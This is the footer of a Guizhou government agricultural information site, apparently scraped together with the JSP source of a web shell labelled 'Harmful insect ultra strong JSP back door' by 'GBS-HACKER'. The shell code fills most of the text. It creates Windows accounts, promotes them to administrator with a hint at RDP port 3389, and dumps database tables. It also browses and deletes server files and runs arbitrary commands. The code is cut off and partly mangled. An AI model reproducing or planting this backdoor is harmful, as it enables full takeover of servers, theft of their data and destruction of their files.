友情链接
CopyRight 2007 www.gznw.gov.cn All Rights Reserved.
主办单位:共青团贵州省委 贵州省妇女联合会 贵州省气象局
承办单位:贵州省农村综合经济信息中心 黔B2-20030009
联系电话:(0851)5507983 E-mail:gznw@gznw.com
建议使用 IE 6.0以上版本进行浏览,最佳显示800*600
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@ page import="java.io.File"%>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.sql.*" %>
<%!
private Connection conn=null;
private Statement stmt = null;
private ResultSet rs= null;
%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
out.println("");
out.println("");
out.println("
Harmful insect ultra strong JSP back door");
out.println("");
out.println("");
out.println("");
out.println("
System user information | ");
out.println("
Database operation | ");
out.println("
File operation | ");
out.println("
Cmd order ");
out.println("
");
out.println("Operation_File
");
out.println("Author:GBS-HACKER
");
out.println("Version:Trojan1.0
");
out.println("File-URL:"+request.getRequestURL()+"
");
out.println("Port:"+request.getServerPort()+"
");
out.println("System:"+System.getProperty("os.name")+"
");
out.println("ServerName:"+application.getServerInfo()+"
");
out.println("java.vm.version:"+System.getProperty("java.vm.version")+"
");
if(request.getParameter("ctrl")!=null&&request.getParameter("ctrl")!=""){
if(request.getParameter("ctrl").trim().toString().equals("User")){
out.println("Operation_Adduser Of win xp,win2000,win2003");
out.println("
");
if(request.getParameter("username")!=null&&request.getParameter("password")!=null){
boolean b = cmd(request.getParameter("username"),request.getParameter("password"));
if(b){
out.println("
Congratulations: the successful operation!");
out.println("
激活用户"+request.getParameter("username")+"");
}else{
out.println("
Very unfortunate: There are several reasons...!");
out.println("
1:Does not have permission!");
out.println("
1:User already exists!");
out.println("
1:System does not support!");
}
}
if(request.getParameter("username")!=null&&request.getParameter("active")!=null){
boolean b = Active(request.getParameter("username").trim(),request.getParameter("active").trim());
if(b){
out.println("
Congratulations: the successful operation!");
out.println("
提升至管理员"+request.getParameter("username")+"");
}else{
out.println("
Very unfortunate: There are several reasons...!");
out.println("
1:Does not have permission!");
out.println("
1:System does not support!");
}
}
if(request.getParameter("username")!=null&&request.getParameter("administartor")!=null){
boolean b = administrator(request.getParameter("username").trim());
if(b){
out.println("
Congratulations: the successful operation!");
out.println("Test:Port is 3389 Test login Not success?");
}else{
out.println("
Very unfortunate: There are several reasons...!");
out.println("
1:Does not have permission!");
out.println("
1:System does not support!");
}
}
String userlist = cc(userlist());
out.println("UserList:
");
out.println("
"+userlist+"
");
String serverinfo = cc(serverinfo());
out.println("Run Port:
");
out.println("
"+serverinfo+"
");
}
if(request.getParameter("ctrl").trim().toString().equals("Database")){
String db1="",db2="",db3="",db4="",db5="";
if(request.getParameter("dbserver")!=null){db1=request.getParameter("dbserver");}
if(request.getParameter("database")!=null){db2=request.getParameter("database");}
if(request.getParameter("port")!=null){db3=request.getParameter("port");}
if(request.getParameter("dbname")!=null){db4=request.getParameter("dbname");}
if(request.getParameter("dbpass")!=null){db5=request.getParameter("dbpass");}
out.println("Operation_Database
");
if(request.getParameter("Exhaustive")!=null&&"Exhaustive".equals(request.getParameter("Exhaustive"))){
String driverto="",urlto="",usernameto="",passwordto="",dbb="",dbnm="",dbpa="";
driverto = request.getParameter("driverto").toString();
urlto = request.getParameter("urlto").toString();
usernameto = request.getParameter("usernameto").toString();
passwordto = request.getParameter("passwordto").toString();
dbb = request.getParameter("dbb").toString();
dbnm = request.getParameter("dbnm").toString();
dbpa = request.getParameter("dbpa").toString();
List dblist = new ArrayList();
List nmlist = new ArrayList();
List palist = new ArrayList();
Connection con = getconn(driverto,urlto,usernameto,passwordto);
if(con!=null){
}
}
out.println("
");
String driver="",url="",user="",pass="",ports="",db="";
if(request.getParameter("dbserver")!=null&&request.getParameter("database")!=null&&request.getParameter("port")!=null&&request.getParameter("dbname")!=null&&request.getParameter("dbpass")!=null){
user = request.getParameter("dbname").trim();
pass = request.getParameter("dbpass").trim();
ports = request.getParameter("port").trim();
db = request.getParameter("database").trim();
if(request.getParameter("dbserver").equals("1")){
driver = "com.mysql.jdbc.Driver";
url ="jdbc:mysql://localhost:"+ports+"/"+db;
Connection con = getconn(driver,url,user,pass);
if(conn!=null){
out.println("
Mysql Connection Success!Close Connection?");
}else{
out.println("
Mysql Connection Failure!");
}
}
if(request.getParameter("dbserver").equals("2")){
driver = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
url ="jdbc:microsoft:sqlserver://localhost:"+ports+";DatabaseName="+db;
Connection con = getconn(driver,url,user,pass);
if(conn!=null){
out.println("
SQLServer Connection Success!Close Connection?");
rs = getrs("select * from sysobjects where type='u'");
if(rs!=null){
out.println("
Table List:
");
while(rs.next()){
out.println("
"+rs.getString("name")+"");
}
if(request.getParameter("table")!=null&&request.getParameter("id")!=null){
String str = "select * from syscolumns where id="+request.getParameter("id").trim();
rs = getrs(str);
out.println("
");
out.println("");
List lum = new ArrayList();
while(rs.next()){
out.println("| "+rs.getString("name")+" | ");
lum.add(rs.getString("name"));
}
String ing = "select top 10 * from ["+request.getParameter("table")+"]";
ResultSet rsing = getrs(ing);
while(rsing.next()){
out.println("
");
for(int i=0;i"+rsing.getString((String)lum.get(i))+"");
}
out.println("
");
}
out.println("
");
out.println("
sql is:"+ing+"
");
out.println("
Close Connection?");
}
out.println("Command:
");
out.println("
");
}else{
out.println("Not Table?");
}
}else{
out.println("
SQLServer Connection Failure!");
}
}
if(request.getParameter("dbserver").equals("3")){
driver = "com.ibm.db2.jdbc.app.DB2Driver";
url ="jdbc:db2://localhost:"+ports+"/"+db;
Connection con = getconn(driver,url,user,pass);
if(conn!=null){
out.println("
DB2 Connection Success!Close Connection?");
}else{
out.println("
DB2 Connection Failure!");
}
}
if(request.getParameter("dbserver").equals("4")){
driver = "oracle.jdbc.driver.OracleDriver";
url ="jdbc:oracle:thin:@localhost:"+ports+":"+db;
Connection con = getconn(driver,url,user,pass);
if(conn!=null){
out.println("
Oracle Connection Success!Close Connection?");
}else{
out.println("
Oracle Connection Failure!");
}
}
}else{
out.println("Please fill out the information......
BackTo
");
}
if(request.getParameter("close")!=null&&request.getParameter("close").equals("close")){
closeconn();
out.println("Close Connection Success!");
}
}
if(request.getParameter("ctrl").trim().toString().equals("File")){
String fileurl = "";
if(request.getParameter("fielis")!=null){
fileurl =charsetConverse(request.getParameter("fielis").trim().toString());
}else{
fileurl ="c:\\\\";
}
out.println("
");
File[] fr = File.listRoots();
out.println("Server Existing logical:");
for(int i=0;i
File list Of C Disk:----------------------------------------"+"Dir:"+fileurl+"-->
BackTo"+"
");
if(request.getParameter("fd")!=null){
if(delfile(charsetConverse(request.getParameter("fd").trim()))){
out.println("ResultSet:
success!
");
}else{
out.println("ResultSet:
failure!System does not support...
");
}
}
out.println("DIR:
");
List d = getDir(fileurl);
if(d.size()>0){
for(int i=0;i
"+d.get(i)+"
");
}
}else{
out.println("没有文件以及目录!
");
}
out.println("FILE:
");
List l = getFile(fileurl);
if(l.size()>0){
for(int i=0;idel
");
}
}else{
out.println("Not File!");
}
out.println("
");
}
if(request.getParameter("ctrl").trim().toString().equals("Cmd")){
out.println("Operation_Cmd");
out.println("
");
if(request.getParameter("execof")!=null){
String s= cc(cmdall(request.getParameter("execof").trim()));
out.println("ResultSet:
");
out.println(""+s+"
");
}else{
out.println("Start Game!");
}
}
}else{
out.println("Start Success!");
}
out.println("");
out.println("");
%>
<%!
public static List getFile(String fileurl){
List filelist = new ArrayList();
File file = new File(fileurl);
if(file.isDirectory()){
File[] f=file.listFiles();
if(f.length>0){
for(int i=0;imax){
int t = max;
max = min;
min = t;
}
for (int i= min;i<=max;i++){
combination(new StringBuffer(""),i);
}
}
public void combination(StringBuffer str,int length) {
if (length == 1){
for(int j=0;j 1) {
for(int b=0;b